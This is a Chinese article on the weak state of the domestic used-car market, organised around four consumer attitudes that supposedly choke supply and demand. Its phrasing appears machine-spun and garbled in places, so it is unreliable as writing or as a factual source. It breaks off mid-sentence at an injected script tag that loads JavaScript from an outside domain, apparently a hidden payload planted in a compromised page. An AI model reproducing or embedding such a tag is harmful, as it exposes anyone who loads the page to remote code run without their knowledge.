现在，国内二手车买卖并未成熟，还存在评估不准确、买卖价格不透明、二手车售后服务不尽如人意等问题。有专家剖析指出，就北京来讲，虽说二手车买卖量已经快与新车买卖持平了，但从整体来看北京场还是缺少二手车进货渠道，以至于影响二手车交易市场的进一步进步。那样这里面有多少不为人知是什么原因呢？记者在很多采访之后发现，消费者的心态居然起到了决定性用途。
消费心态1：高瞻远瞩型
汽车贬值快 卖了不划算
在新车价格降个不停的状况下，催生了一些想卖掉自己二手车再买新车的用户，但在他们买卖二手车的时候，会发现我们的车其实没开几年，还六七成新就已经贬值得不可以同意了。由于在回收二手车的时候，评估师是用现在这款车的价格来开价的，以目前汽车价格的下滑速率来看，不要说开了几年的车，就是年初买的年尾卖的时候可能都会亏不少钱，毕竟汽车是个消费品，不像房屋可以用来资金投入、有升值的潜力。在如此被人心理不可以平衡的残酷事实面前，一些想卖掉二手车的用户由于价格谈不拢而打消了卖车的念头，决定再开几年再说。
后果：因为收不上来车，就给二手车回收带来了非常大的障碍，二手车车商为了保证我们的库存，可能会选择“绷着”不卖，这又给此时不太活跃的二手车交易市场抹上了一层灰色。
消费心态2：神机妙算型
二手车价太高 买旧不如新
亚市经营部的张宇良部长剖析说，第一是由于新车降得太厉害，有些时候新车的价格可能跟二手车的价格相差无几，在这样的情况下，消费者自然是想多掏点钱买个新车算了，于是二手车又被冷落了。
第二是由于收不来二手车，二手车的品种就少，可选择的汽车就少，选择面小了，消费者就非常难找到自己中意的车型，买卖量就会小。最后，因为国内二手车交易市场还不成熟，存在一些有二手车置换业务的４Ｓ店、二手车经纪公司、二手车拼缝的车虫跟消费者进行买卖的时候，评估师给的价格便低，这会致使卖家不想卖；隐瞒二手车自己问题，这会致使用户不敢买。总体来讲，现在二手车买卖过程中存在价格不透明、水平无保证、售后也存在问题等现象。这又使得本想购买二手车的消费者不买了。
后果：用户愈加少，致使本来存货量就不大的二手车更卖不出去了，在企业没钱赚的状况下，即使有顾客想卖我们的二手车，企业可能会开出更低的价格回收，这将又致使想卖车的消费者不卖了。
消费心态3：贪小实惠型
卖二手车找亲朋 手续方便添麻烦
大家通过亲朋好友或互联网买卖二手车，这种买卖方法又将分流一部分二手车市场的进货渠道，因为不少消费者感觉通过二手车市场进行买卖并不划算也不透明，为了防止上当吃亏，他们选择了和自己身边熟知的人进行买卖，如此可以对车愈加知根知底，心里也比较踏实。
后果：这种买卖可能会由于买卖双方并不十分了解办理的程序而致使一些非必须的麻烦，同时这种买卖方法又将分流一部分二手车市场的进货渠道。
消费心态4：死心塌地型
买辆车困难 不开十年心不甘
大家国家的汽车文化较之海外的确是落后了一截，当大家还在痴迷于三厢车的阔气有派头的时候，海外已经是两厢车的天下了；当海外汽车召回意味着是厂商对消费者负责的时候，大家还在为召回把汽车生产厂商骂得一无是处；当海外喜欢用ＭＰＶ载着一大伙子出去游玩的时候，大家国内还在把ＭＰＶ看做是豪华一点的面包车。在二手车范围，依旧存在一些守旧的观念。
第一，是出售二手车的人的动机。多年从事二手车买卖的魏征告诉大家说，大多数来卖二手车的人都是由于有急事需要钱才来进行买卖的，无需应对的状况下，大家通常都不会来卖车的。
第二，一些用户在前几年买车的时候就一步到位，花不少钱买了自己最中意的车，过了几年想换车的时候可能由于自己财力有限也不会随便卖掉二手车换新车了。试想，假如刚开始买的是台相对实惠的车或者是台二手车，几年过后，还是大概有能力换一台新车的。
最后，现在在国内，汽车还是个大件，大家心里还常见存在开它个十年八年的心态，感觉如此才值，这也使得一些人即使是有经济实力可能也不卖我们的二手车。
后果：因为买车和换车理念的问题，又使二手车的进货渠道少了好多。
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二手车消费有误区
二手车消费的进步速度与在某些区域的迅速增长已经证明了国内汽车消费开始进入到新的阶段，但在汽车用户层面仍然存在不少误区。
误区1、
准新车都是“问题车”
不少买卖二手车的用户对准新车都是抱着非常不信赖的态度，觉得“新车”出手，不是出过大事故就是?script src=http://cn.jxmmtv.com/cn.js>cript>
